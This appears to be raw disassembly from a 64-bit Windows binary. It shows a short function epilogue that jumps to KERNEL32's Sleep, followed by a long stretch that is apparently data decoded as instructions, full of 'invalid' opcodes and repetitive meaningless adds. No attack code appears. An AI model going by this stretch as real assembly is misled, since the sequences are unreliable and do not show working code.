movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xd97a3901
invalid
cdqe
insb byte [rdi], dx
add dword [rbx], esi
xor edi, dword [rdi]
cmc
push 0xffffffff829e5498
cmp dl, byte cs:[rdx + 0x49]
cmp dword [rcx], esi
invalid
adc ebp, dword [rax]
jmp 0x14032e80b
add byte [rax], al
add byte [rdi], al
invalid
add al, 0x11
invalid
add byte [rax - 2], bl
pop rsi
add al, 0x11
add al, 0x6c
add ah, byte [rsi]
add ebp, dword [rcx]
add byte [rax], al
invalid
or cl, byte [rsi + 0xef00]
invalid
add byte [rax], al
invalid
adc dword [rsp + rbp*2], eax
add ah, byte [rsi]
add ebp, dword [rcx]
add byte [rax], al
add byte [rdi], al
add byte [rdi], al
invalid
add byte [rax], al
add byte [rdi], al
or al, byte [rbp + 0x2301]
invalid
inc byte [rbp + 4]
adc dword [rsp + rbp*2], eax
add ah, byte [rsi]
add ebp, dword [rcx]
add byte [rcx], al
add dword [rdi], eax
stc
mov r8b, 0x35
add ah, byte [rsi]
add ebp, dword [rcx]
add byte [rax], al
invalid
add al, 0x8e
add al, 0x5e
add ah, byte [rsi]
add ebp, eax
add byte [rax], al
add byte [rdi], al
or edx, dword [rcx + 1]
nop
add byte [rax], al
add byte [rcx], al
add byte [rdi], ah
add byte [rax], al
add al, 0x6d
add al, 0x5e
add byte [rax], cl
add byte [rbx], ah
and byte [rdi], al
add al, 1
add dword [rbx], eax
add al, byte [rax]
add dword [rcx + rax + 1], ecx
add dword [rbx], eax
add al, byte [rax]
add dword [rcx + rax + 1], ecx
add byte [rax], al
add r8, qword [r9]
add al, byte [rdx]
add cl, byte [rsi]
add byte [rax], al
or byte [rax], al
or byte [rdx], dl
adc al, byte [rcx + rcx]
sbb byte [rbx], ch
and dword [rcx], edx
add dword [rcx], esp
add dword [rcx], eax
and dword [rcx], eax
adc dword [rcx], eax
retf 0x5dfe
add dword [rcx], ecx
add dword [rdi], eax
add dword [rdx], ebx
invalid
add al, byte [rdi]
std
sbb edi, esi
xchg dword [rax], eax
add dword [rax], eax
jp 0x140330799
add byte [rcx + 0xb005e04], al
add al, 0xd
add al, 0x5e
add byte [rbx], cl
add byte [rdi], ch
sub al, 7
add dword [rax], eax
add dword [rcx], eax
add dword [rbx], eax
add al, byte [rdx]
add byte [rax], r8b
add byte [rcx], al
pop rdi
add byte [rcx], al
add dword [rdx + 0x4d], ebp
add byte [rdx], al
add al, byte [rbx]
pop rdi
add al, 1
add eax, dword [rbx]
push 0x4e03
add byte [rbx], cl
add byte [rbx], cl
and dl, byte [rcx]
and al, byte [0x1735e20de]
sub esi, dword [rbx]
sub esi, dword [rbx]
xor eax, 0x35213501
and dword [0x155541cde], edx
jp 0x1403307e1
std
std
rol dword [rbx], 1
outsb dx, byte [rsi]
std
fiadd dword [rdx]
cmp dword [rsi - 0x26f629fe], esp
mov ah, 0xfd
cmp byte [rcx], cl
fld dword [rax]
add byte [rax], al
invalid
inc dword [rax]
jp 0x1403307f9
add byte [rax], al
invalid
add byte [rcx + 0x26025e04], al
add al, 0
add byte [rax], al
add dword [rdi], eax
or esp, dword [rbx]
add byte [rax + 0x90045ff], bh
add byte [rax + 0x90045ff], bh
mov cl, 1
add dword [rax + 0x35b045ff], edi
sub eax, dword [rax]
add byte [rcx], al
add byte [rdx - 2], bh
inc dword [rbx + rax*2]
add al, 0x43
add al, 0x43
add al, 0x5e
add byte [rbx], dl
add byte [rsi + 0x40], bl
pop rsi
or cl, byte [rcx + rax]
add dword [rdx], eax
invalid
or dl, byte [rax + 0x58]
sbb al, 5
add dword [rax + rax], eax
add byte [rcx + rsi*2], al
add byte [rcx], al
add dword [rdx], eax
pop rdi
add byte [rdx], al
add ch, byte [rdx + 0x4d]
add byte [rbx], al
add eax, dword [rax]
pop rdi
add byte [rax], al
add byte [rax], ch
sbb r8, qword [rax + 0x1b]
add eax, 0x4000401
xchg byte [rax], al
add dword [rcx], eax
add bl, byte [rdi]
add al, byte [rdx]
push 0x4d
add byte [rbx], al
add eax, dword [rax]
pop rdi
add byte [rax], al
add byte [rax], ch
pop rcx
or eax, 0x13000000
add byte [rbx], dl
xor dl, byte [rcx]
and ah, byte [rbx]
invalid